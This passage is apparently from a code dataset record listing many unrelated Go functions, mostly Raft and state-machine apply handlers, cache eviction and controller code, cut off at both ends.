kv.lastApplied)\n\t\t\t\t\tkv.mu.Unlock()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tkv.lastApplied = message.CommandIndex\n\n\t\t\t\tvar response *CommandResponse\n\t\t\t\tcommand := message.Command.(Command)\n\t\t\t\tswitch command.Op {\n\t\t\t\tcase Operation:\n\t\t\t\t\toperation := command.Data.(CommandRequest)\n\t\t\t\t\tresponse = kv.applyOperation(&message, &operation)\n\t\t\t\tcase Configuration:\n\t\t\t\t\tnextConfig := command.Data.(shardctrler.Config)\n\t\t\t\t\tresponse = kv.applyConfiguration(&nextConfig)\n\t\t\t\tcase InsertShards:\n\t\t\t\t\tshardsInfo := command.Data.(ShardOperationResponse)\n\t\t\t\t\tresponse = kv.applyInsertShards(&shardsInfo)\n\t\t\t\tcase DeleteShards:\n\t\t\t\t\tshardsInfo := command.Data.(ShardOperationRequest)\n\t\t\t\t\tresponse = kv.applyDeleteShards(&shardsInfo)\n\t\t\t\tcase EmptyEntry:\n\t\t\t\t\tresponse = kv.applyEmptyEntry()\n\t\t\t\t}\n\n\t\t\t\t// only notify related channel for currentTerm's log when node is leader\n\t\t\t\tif currentTerm, isLeader := kv.rf.GetState(); isLeader && message.CommandTerm == currentTerm {\n\t\t\t\t\tch := kv.getNotifyChan(message.CommandIndex)\n\t\t\t\t\tch <- response\n\t\t\t\t}\n\n\t\t\t\tneedSnapshot := kv.needSnapshot()\n\t\t\t\tif needSnapshot {\n\t\t\t\t\tkv.takeSnapshot(message.CommandIndex)\n\t\t\t\t}\n\t\t\t\tkv.mu.Unlock()\n\t\t\t} else if message.SnapshotValid {\n\t\t\t\tkv.mu.Lock()\n\t\t\t\tif kv.rf.CondInstallSnapshot(message.SnapshotTerm, message.SnapshotIndex, message.Snapshot) {\n\t\t\t\t\tkv.restoreSnapshot(message.Snapshot)\n\t\t\t\t\tkv.lastApplied = message.SnapshotIndex\n\t\t\t\t}\n\t\t\t\tkv.mu.Unlock()\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Sprintf(\"unexpected Message %v\", message))\n\t\t\t}\n\t\t}\n\t}\n}","func (c *Cache) Evict() {\n\tfor _, v := range c.entries {\n\t\tfor k, svcEntry := range v {\n\t\t\tif !svcEntry.Valid {\n\t\t\t\tdelete(v, k)\n\t\t\t}\n\t\t}\n\t}\n}"],"string":"[\n \"func (u updateCachedUploadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tif u.SectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\\n\\t} else if u.SectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Add correct error handling.\\n\\t}\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (u updateCachedDownloadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (op *OpRemove) Apply(e *entry.Entry) error {\\n\\te.Delete(op.Field)\\n\\treturn nil\\n}\",\n \"func (c *Controller) apply(key string) error {\\n\\titem, exists, err := c.indexer.GetByKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !exists {\\n\\t\\treturn c.remove(key)\\n\\t}\\n\\treturn c.upsert(item, key)\\n}\",\n \"func (stackEntry *valuePayloadPropagationStackEntry) Retain() *valuePayloadPropagationStackEntry {\\n\\treturn &valuePayloadPropagationStackEntry{\\n\\t\\tCachedPayload: stackEntry.CachedPayload.Retain(),\\n\\t\\tCachedPayloadMetadata: stackEntry.CachedPayloadMetadata.Retain(),\\n\\t\\tCachedTransaction: stackEntry.CachedTransaction.Retain(),\\n\\t\\tCachedTransactionMetadata: stackEntry.CachedTransactionMetadata.Retain(),\\n\\t}\\n}\",\n \"func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\\n\\tkv.mu.Lock()\\n\\tdefer kv.mu.Unlock()\\n\\n\\tvar args Op\\n\\targs = msg.Command.(Op)\\n\\tif kv.op_count[args.Client] >= args.Id {\\n\\t\\tDPrintf(\\\"Duplicate operation\\\\n\\\")\\n\\t}else {\\n\\t\\tswitch args.Type {\\n\\t\\tcase OpPut:\\n\\t\\t\\tDPrintf(\\\"Put Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = args.Value\\n\\t\\tcase OpAppend:\\n\\t\\t\\tDPrintf(\\\"Append Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = kv.data[args.Key] + args.Value\\n\\t\\tdefault:\\n\\t\\t}\\n\\t\\tkv.op_count[args.Client] = args.Id\\n\\t}\\n\\n\\t//DPrintf(\\\"@@@Index:%v len:%v content:%v\\\\n\\\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\\n\\t//DPrintf(\\\"@@@kv.pendingOps[%v]:%v\\\\n\\\", msg.Index, kv.pendingOps[msg.Index])\\n\\tfor _, i := range kv.pendingOps[msg.Index] {\\n\\t\\tif i.op.Client==args.Client && i.op.Id==args.Id {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <- true\\n\\t\\t}else {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <-false\\n\\t\\t}\\n\\t}\\n\\tdelete(kv.pendingOps, msg.Index)\\n}\",\n \"func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\\n\\t// Has entry?\\n\\tif len(apply.entries) == 0 {\\n\\t\\treturn\\n\\t}\\n\\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\\n\\tfirsti := apply.entries[0].Index\\n\\tif firsti > gmp.appliedi+1 {\\n\\t\\tlogger.Panicf(\\\"first index of committed entry[%d] should <= appliedi[%d] + 1\\\", firsti, gmp.appliedi)\\n\\t}\\n\\t// Extract useful entries.\\n\\tvar ents []raftpb.Entry\\n\\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\\n\\t\\tents = apply.entries[gmp.appliedi+1-firsti:]\\n\\t}\\n\\t// Iterate all entries\\n\\tfor _, e := range ents {\\n\\t\\tswitch e.Type {\\n\\t\\t// Normal entry.\\n\\t\\tcase raftpb.EntryNormal:\\n\\t\\t\\tif len(e.Data) != 0 {\\n\\t\\t\\t\\t// Unmarshal request.\\n\\t\\t\\t\\tvar req InternalRaftRequest\\n\\t\\t\\t\\tpbutil.MustUnmarshal(&req, e.Data)\\n\\n\\t\\t\\t\\tvar ar applyResult\\n\\t\\t\\t\\t// Put new value\\n\\t\\t\\t\\tif put := req.Put; put != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[put.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", put.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get key, value and revision.\\n\\t\\t\\t\\t\\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\\n\\t\\t\\t\\t\\t// Get map and put value into map.\\n\\t\\t\\t\\t\\tm := set.get(put.Map)\\n\\t\\t\\t\\t\\tm.put(key, value, revision)\\n\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\\n\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t// Set apply result.\\n\\t\\t\\t\\t\\tar.rev = revision\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Delete value\\n\\t\\t\\t\\tif del := req.Delete; del != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[del.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", del.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map and delete value from map.\\n\\t\\t\\t\\t\\tm := set.get(del.Map)\\n\\t\\t\\t\\t\\tif pre := m.delete(del.Key); nil != pre {\\n\\t\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t\\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\\n\\t\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Update value\\n\\t\\t\\t\\tif update := req.Update; update != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[update.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", update.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map.\\n\\t\\t\\t\\t\\tm := set.get(update.Map)\\n\\t\\t\\t\\t\\t// Update value.\\n\\t\\t\\t\\t\\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\t// The revision will be set only if update succeed\\n\\t\\t\\t\\t\\t\\tar.rev = e.Index\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif nil != pre {\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Trigger proposal waiter.\\n\\t\\t\\t\\tgm.wait.Trigger(req.ID, &ar)\\n\\t\\t\\t}\\n\\t\\t// The configuration of gmap is fixed and wil not be synchronized through raft.\\n\\t\\tcase raftpb.EntryConfChange:\\n\\t\\tdefault:\\n\\t\\t\\tlogger.Panicf(\\\"entry type should be either EntryNormal or EntryConfChange\\\")\\n\\t\\t}\\n\\n\\t\\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\\n\\t}\\n}\",\n \"func (s *StateMachine) Apply(req msgs.ClientRequest) msgs.ClientResponse {\\n\\tglog.V(1).Info(\\\"Request has been safely replicated by consensus algorithm\\\", req)\\n\\n\\t// check if request already applied\\n\\tif found, reply := s.Cache.check(req); found {\\n\\t\\tglog.V(1).Info(\\\"Request found in cache and thus need not be applied\\\", req)\\n\\t\\treturn reply\\n\\t}\\n\\t// apply request and cache\\n\\treply := msgs.ClientResponse{\\n\\t\\treq.ClientID, req.RequestID, true, s.Store.Process(req.Request)}\\n\\ts.Cache.add(reply)\\n\\treturn reply\\n}\",\n \"func (c *CachedMarkerIndexBranchIDMapping) Retain() *CachedMarkerIndexBranchIDMapping {\\n\\treturn &CachedMarkerIndexBranchIDMapping{c.CachedObject.Retain()}\\n}\",\n \"func (u updateUploadRevision) apply(data *journalPersist) {\\n\\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\\n\\t\\tbuild.Critical(\\\"updateUploadRevision is missing its FileContractRevision\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\trev := u.NewRevisionTxn.FileContractRevisions[0]\\n\\tc := data.Contracts[rev.ParentID.String()]\\n\\tc.LastRevisionTxn = u.NewRevisionTxn\\n\\n\\tif u.NewSectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\\n\\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Correctly handle error.\\n\\t}\\n\\n\\tc.UploadSpending = u.NewUploadSpending\\n\\tc.StorageSpending = u.NewStorageSpending\\n\\tdata.Contracts[rev.ParentID.String()] = c\\n}\",\n \"func (u updateDownloadRevision) apply(data *journalPersist) {\\n\\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\\n\\t\\tbuild.Critical(\\\"updateDownloadRevision is missing its FileContractRevision\\\")\\n\\t\\treturn\\n\\t}\\n\\trev := u.NewRevisionTxn.FileContractRevisions[0]\\n\\tc := data.Contracts[rev.ParentID.String()]\\n\\tc.LastRevisionTxn = u.NewRevisionTxn\\n\\tc.DownloadSpending = u.NewDownloadSpending\\n\\tdata.Contracts[rev.ParentID.String()] = c\\n}\",\n \"func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\\n\\t// TODO: Implement this method\\n\\treturn nil\\n}\",\n \"func (f *raftStore) Apply(l *raft.Log) interface{} {\\n\\tvar newState state\\n\\tif err := json.Unmarshal(l.Data, &newState); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to unmarshal state\\\")\\n\\t}\\n\\tf.logger.Debug(\\\"Applying new status\\\", \\\"old\\\", f.m.GetCurrentState(), \\\"new\\\", newState)\\n\\tf.mu.Lock()\\n\\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\\n\\t\\tf.inFlight = nil\\n\\t}\\n\\tf.mu.Unlock()\\n\\tf.m.setNewState(newState)\\n\\treturn nil\\n}\",\n \"func (a Atomic) Apply(ctx Context, c Change) Value {\\n\\tswitch c := c.(type) {\\n\\tcase nil:\\n\\t\\treturn a\\n\\tcase Replace:\\n\\t\\tif !c.IsCreate() {\\n\\t\\t\\treturn c.After\\n\\t\\t}\\n\\t}\\n\\treturn c.(Custom).ApplyTo(ctx, a)\\n}\",\n \"func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\\n\\terr := Err(OK)\\n\\tval, keyOk := kv.store[op.Key]\\n\\n\\t// only do the store modification if we haven't already\\n\\t// seen this request (can happen if a leader crashes after comitting\\n\\t// but before responding to client)\\n\\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\\n\\t\\tif op.OpType == \\\"Get\\\" && !keyOk {\\n\\t\\t\\t// Get\\n\\t\\t\\terr = Err(ErrNoKey)\\n\\t\\t} else if op.OpType == \\\"Put\\\" {\\n\\t\\t\\t// Put\\n\\t\\t\\tkv.store[op.Key] = op.Value\\n\\t\\t} else if op.OpType == \\\"Append\\\" {\\n\\t\\t\\t// Append (may need to just Put)\\n\\t\\t\\tif !keyOk {\\n\\t\\t\\t\\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tkv.store[op.Key] += op.Value\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tkv.Log(LogInfo, \\\"Store updated:\\\", kv.store)\\n\\t} else {\\n\\t\\tkv.Log(LogDebug, \\\"Skipping store update, detected duplicate command.\\\")\\n\\t}\\n\\n\\t// create the op, add the Value field if a Get\\n\\tappliedOp := KVAppliedOp{\\n\\t\\tTerm: opTerm,\\n\\t\\tIndex: opIndex,\\n\\t\\tKVOp: op,\\n\\t\\tErr: err,\\n\\t}\\n\\tif op.OpType == \\\"Get\\\" {\\n\\t\\tappliedOp.Value = val\\n\\t}\\n\\tkv.Log(LogDebug, \\\"Applied op\\\", appliedOp)\\n\\n\\t// update tracking of latest op applied\\n\\tkv.lastIndexApplied = appliedOp.Index\\n\\tkv.lastTermApplied = appliedOp.Term\\n\\treturn appliedOp\\n}\",\n \"func (l *leader) applyCommitted() {\\n\\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\\n\\tvar prev, ne *newEntry = nil, l.neHead\\n\\tfor ne != nil {\\n\\t\\tif ne.index <= l.commitIndex {\\n\\t\\t\\tprev, ne = ne, ne.next\\n\\t\\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\\n\\t\\t\\tprev, ne = ne, ne.next\\n\\t\\t} else {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tvar head *newEntry\\n\\tif prev != nil {\\n\\t\\thead = l.neHead\\n\\t\\tprev.next = nil\\n\\t\\tl.neHead = ne\\n\\t\\tif l.neHead == nil {\\n\\t\\t\\tl.neTail = nil\\n\\t\\t}\\n\\t}\\n\\n\\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\\n\\tif trace {\\n\\t\\tprintln(l, apply)\\n\\t}\\n\\tl.fsm.ch <- apply\\n}\",\n \"func (c *CachedPersistableEvent) Retain() *CachedPersistableEvent {\\n\\treturn &CachedPersistableEvent{c.CachedObject.Retain()}\\n}\",\n \"func (op *OpFlatten) Apply(e *entry.Entry) error {\\n\\tparent := op.Field.Parent()\\n\\tval, ok := e.Delete(op.Field)\\n\\tif !ok {\\n\\t\\t// The field doesn't exist, so ignore it\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s does not exist on body\\\", op.Field)\\n\\t}\\n\\n\\tvalMap, ok := val.(map[string]interface{})\\n\\tif !ok {\\n\\t\\t// The field we were asked to flatten was not a map, so put it back\\n\\t\\terr := e.Set(op.Field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"reset non-map field\\\")\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s is not a map\\\", op.Field)\\n\\t}\\n\\n\\tfor k, v := range valMap {\\n\\t\\terr := e.Set(parent.Child(k), v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *State) apply(commit Commit) error {\\n\\t// state to identify proposals being processed\\n\\t// in the PendingProposals. Avoids linear loop to\\n\\t// remove entries from PendingProposals.\\n\\tvar processedProposals = map[string]bool{}\\n\\terr := s.applyProposals(commit.Updates, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = s.applyProposals(commit.Removes, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = s.applyProposals(commit.Adds, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r Record) Keep(f bool) Record {\\n\\tif f {\\n\\t\\treturn r\\n\\t}\\n\\n\\treturn Record{dropped: true}\\n}\",\n \"func (c *CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\\n\\ts, _ := context.Server().StateMachine().(store.Store)\\n\\n\\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\\n\\n\\tif err != nil {\\n\\t\\tlog.Debug(err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn e, nil\\n}\",\n \"func (a RetainAction) Apply(t *testing.T, transport peer.Transport, deps TransportDeps) {\\n\\tpeerID := deps.PeerIdentifiers[a.InputIdentifierID]\\n\\tsub := deps.Subscribers[a.InputSubscriberID]\\n\\n\\tp, err := transport.RetainPeer(peerID, sub)\\n\\n\\tif a.ExpectedErr != nil {\\n\\t\\tassert.Equal(t, a.ExpectedErr, err)\\n\\t\\tassert.Nil(t, p)\\n\\t\\treturn\\n\\t}\\n\\n\\tif assert.NoError(t, err) && assert.NotNil(t, p) {\\n\\t\\tassert.Equal(t, a.ExpectedPeerID, p.Identifier())\\n\\t}\\n}\",\n \"func (c *Controller) Apply(change *sink.Change) error {\\n\\tc.syncedMu.Lock()\\n\\tc.synced[change.Collection] = true\\n\\tc.syncedMu.Unlock()\\n\\tfor _, obj := range change.Objects {\\n\\t\\tnamespace, name := extractNameNamespace(obj.Metadata.Name)\\n\\t\\tfmt.Println(\\\"Got an update for name: \\\", name)\\n\\t\\tfmt.Println(\\\"The namespace updated is: \\\", namespace)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *SliceDataStore) Rem(record Record) {\\n\\tfor i, r := range d.slice {\\n\\t\\tif r.Key == record.Key {\\n\\t\\t\\td.slice[i] = d.slice[len(d.slice)-1]\\n\\t\\t\\td.slice = d.slice[:len(d.slice)-1]\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *C) evict() *entry {\\n\\te := c.mu.used.prev\\n\\tif e == &c.mu.used {\\n\\t\\tpanic(\\\"no more used entries\\\")\\n\\t}\\n\\te.remove()\\n\\tc.mu.availableMem += e.memoryEstimate()\\n\\tdelete(c.mu.m, e.SQL)\\n\\te.clear()\\n\\n\\treturn e\\n}\",\n \"func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tif len(oa) == 1 {\\n\\t\\tfor _, v := range oa {\\n\\t\\t\\treturn value.NewValue(v), nil\\n\\t\\t}\\n\\t}\\n\\n\\treturn value.NULL_VALUE, nil\\n}\",\n \"func (op *OpMove) Apply(e *entry.Entry) error {\\n\\tval, ok := e.Delete(op.From)\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"apply move: field %s does not exist on body\\\", op.From)\\n\\t}\\n\\n\\treturn e.Set(op.To, val)\\n}\",\n \"func (m *TMap) Apply(args ...interface{}) interface{} {\\n\\tkey := args[0]\\n\\treturn m.At(key)\\n}\",\n \"func (k *DistKeeper) Keep(c ComparableDist) {\\n\\tif c.Dist <= k.Heap[0].Dist {\\n\\t\\theap.Push(k, c)\\n\\t}\\n}\",\n \"func (b *BranchDAGEvent) Retain() *BranchDAGEvent {\\n\\treturn &BranchDAGEvent{\\n\\t\\tBranch: b.Branch.Retain(),\\n\\t}\\n}\",\n \"func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\\n\\ts := context.Server().Context().(*Server)\\n\\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\\n\\treturn nextCAS, err\\n}\",\n \"func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\\n\\tvar workload = new(unstructured.Unstructured)\\n\\tif err := v.UnmarshalTo(workload); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdeployCtx := context.Background()\\n\\tif workload.GetNamespace() == \\\"\\\" {\\n\\t\\tworkload.SetNamespace(\\\"default\\\")\\n\\t}\\n\\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn v.FillObject(workload.Object)\\n}\",\n \"func (f ReconcilerFunc) Apply(ctx context.Context, id string) Result {\\n\\treturn f(ctx, id)\\n}\",\n \"func (k *NKeeper) Keep(c ComparableDist) {\\n\\tif c.Dist <= k.Heap[0].Dist { // Favour later finds to displace sentinel.\\n\\t\\tif len(k.Heap) == cap(k.Heap) {\\n\\t\\t\\theap.Pop(k)\\n\\t\\t}\\n\\t\\theap.Push(k, c)\\n\\t}\\n}\",\n \"func (r *CommonReconciler) Apply(ctx context.Context, req ctrl.Request, chaos common.InnerCommonObject) error {\\n\\treturn r.Perform(ctx, req, chaos)\\n}\",\n \"func (s *store) apply(b []byte) error {\\n\\tif s.raftState == nil {\\n\\t\\treturn fmt.Errorf(\\\"store not open\\\")\\n\\t}\\n\\treturn s.raftState.apply(b)\\n}\",\n \"func (c *Context) Apply() (*State, error) {\\n\\tdefer c.acquireRun(\\\"apply\\\")()\\n\\n\\t// Copy our own state\\n\\tc.state = c.state.DeepCopy()\\n\\n\\t// Build the graph.\\n\\tgraph, err := c.Graph(GraphTypeApply, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Determine the operation\\n\\toperation := walkApply\\n\\tif c.destroy {\\n\\t\\toperation = walkDestroy\\n\\t}\\n\\n\\t// Walk the graph\\n\\twalker, err := c.walk(graph, operation)\\n\\tif len(walker.ValidationErrors) > 0 {\\n\\t\\terr = multierror.Append(err, walker.ValidationErrors...)\\n\\t}\\n\\n\\t// Clean out any unused things\\n\\tc.state.prune()\\n\\n\\treturn c.state, err\\n}\",\n \"func (c *Contract) Apply(ctx TransactionContextInterface, paperNumber string, jeweler string, applyDateTime string, financingAmount int) (*InventoryFinancingPaper, error) {\\r\\n\\tpaper := InventoryFinancingPaper{PaperNumber: paperNumber, Jeweler: jeweler, ApplyDateTime: applyDateTime, FinancingAmount: financingAmount}\\r\\n\\tpaper.SetApplied()\\r\\n\\tpaper.LogPrevState()\\r\\n\\r\\n\\terr := ctx.GetPaperList().AddPaper(&paper)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\t\\treturn nil, err\\r\\n\\t}\\r\\n\\tfmt.Printf(\\\"The jeweler %q has applied for a new inventory financingp paper %q, the apply date is %q,the financing amount is %v.\\\\n Current State is %q\\\", jeweler, paperNumber, applyDateTime, financingAmount, paper.GetState())\\r\\n\\treturn &paper, nil\\r\\n}\",\n \"func (m *ItemsMutator) Apply() error {\\n\\tm.lock.Lock()\\n\\tdefer m.lock.Unlock()\\n\\t*m.target = *m.proxy\\n\\treturn nil\\n}\",\n \"func (b *DirCensus) Remove(when interface{}, key Key) Population {\\n\\tc := b.MemCensus.Remove(when, key)\\n\\n\\tif c.Count == 0 && b.IsRecorded(c.Key) {\\n\\t\\tb.Record(c)\\n\\t}\\n\\treturn c\\n}\",\n \"func (kv *ShardKV) applier() {\\n\\tfor !kv.killed() {\\n\\t\\tm := <-kv.applyCh\\n\\t\\tkv.mu.Lock()\\n\\t\\tif m.SnapshotValid { //snapshot\\n\\t\\t\\tkv.logger.L(logger.ShardKVSnap, \\\"recv Installsnapshot %v,lastApplied %d\\\\n\\\", m.SnapshotIndex, kv.lastApplied)\\n\\t\\t\\tif kv.rf.CondInstallSnapshot(m.SnapshotTerm,\\n\\t\\t\\t\\tm.SnapshotIndex, m.Snapshot) {\\n\\t\\t\\t\\told_apply := kv.lastApplied\\n\\t\\t\\t\\tkv.logger.L(logger.ShardKVSnap, \\\"decide Installsnapshot %v, lastApplied %d\\\\n\\\", m.SnapshotIndex, kv.lastApplied)\\n\\t\\t\\t\\tkv.applyInstallSnapshot(m.Snapshot)\\n\\t\\t\\t\\tfor i := old_apply + 1; i <= m.SnapshotIndex; i++ {\\n\\t\\t\\t\\t\\tkv.notify(i)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else if m.CommandValid && m.CommandIndex == 1+kv.lastApplied {\\n\\n\\t\\t\\tif v, ok := m.Command.(Command); !ok {\\n\\t\\t\\t\\t//err\\n\\t\\t\\t\\tkv.logger.L(logger.ShardKVApply, \\\"nop apply %#v\\\\n\\\", m.Command)\\n\\t\\t\\t\\t//panic(\\\"not ok assertion in apply!\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tkv.logger.L(logger.ShardKVApply, \\\"apply index %d, opt %s key %v, num %d lastApplied %d\\\\n\\\",\\n\\t\\t\\t\\t\\tm.CommandIndex,\\n\\t\\t\\t\\t\\tTYPE_NAME[v.OptType], v.Key, v.Num, kv.lastApplied)\\n\\t\\t\\t\\tkv.applyCommand(v) //may ignore duplicate cmd\\n\\n\\t\\t\\t}\\n\\t\\t\\tkv.lastApplied = m.CommandIndex\\n\\t\\t\\tif kv.needSnapshot() {\\n\\t\\t\\t\\tkv.doSnapshotForRaft(m.CommandIndex)\\n\\t\\t\\t\\tkv.logger.L(logger.ShardKVSnapSize, \\\"after snapshot, raft size: %d,snap size: %d\\\\n\\\",\\n\\t\\t\\t\\t\\tkv.persister.RaftStateSize(), kv.persister.SnapshotSize())\\n\\t\\t\\t}\\n\\t\\t\\tkv.notify(m.CommandIndex)\\n\\n\\t\\t} else if m.CommandValid && m.CommandIndex != 1+kv.lastApplied {\\n\\t\\t\\t// out of order cmd, just ignore\\n\\t\\t\\tkv.logger.L(logger.ShardKVApply, \\\"ignore apply %v for lastApplied %v\\\\n\\\",\\n\\t\\t\\t\\tm.CommandIndex, kv.lastApplied)\\n\\t\\t} else {\\n\\t\\t\\tkv.logger.L(logger.ShardKVApply, \\\"Wrong apply msg\\\\n\\\")\\n\\t\\t}\\n\\n\\t\\tkv.mu.Unlock()\\n\\t}\\n\\n}\",\n \"func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\\n\\terr := m.unref(ctx, pk)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn m.m.Remove(ctx, pk)\\n}\",\n \"func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\\n\\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\\n}\",\n \"func (pool *ComplexPool) ApplyCache() error {\\n\\tif !pool.CacheAvailable {\\n\\t\\treturn fmt.Errorf(\\\"prox (%p): no cache to revert back to\\\", pool)\\n\\t}\\n\\n\\tpool.All = pool.CacheAll\\n\\tpool.Unused = pool.CacheUnused\\n\\n\\tpool.CacheAvailable = false\\n\\n\\treturn nil\\n}\",\n \"func (o *Operation) Apply(v interface{}) (interface{}, error) {\\n\\tf, ok := 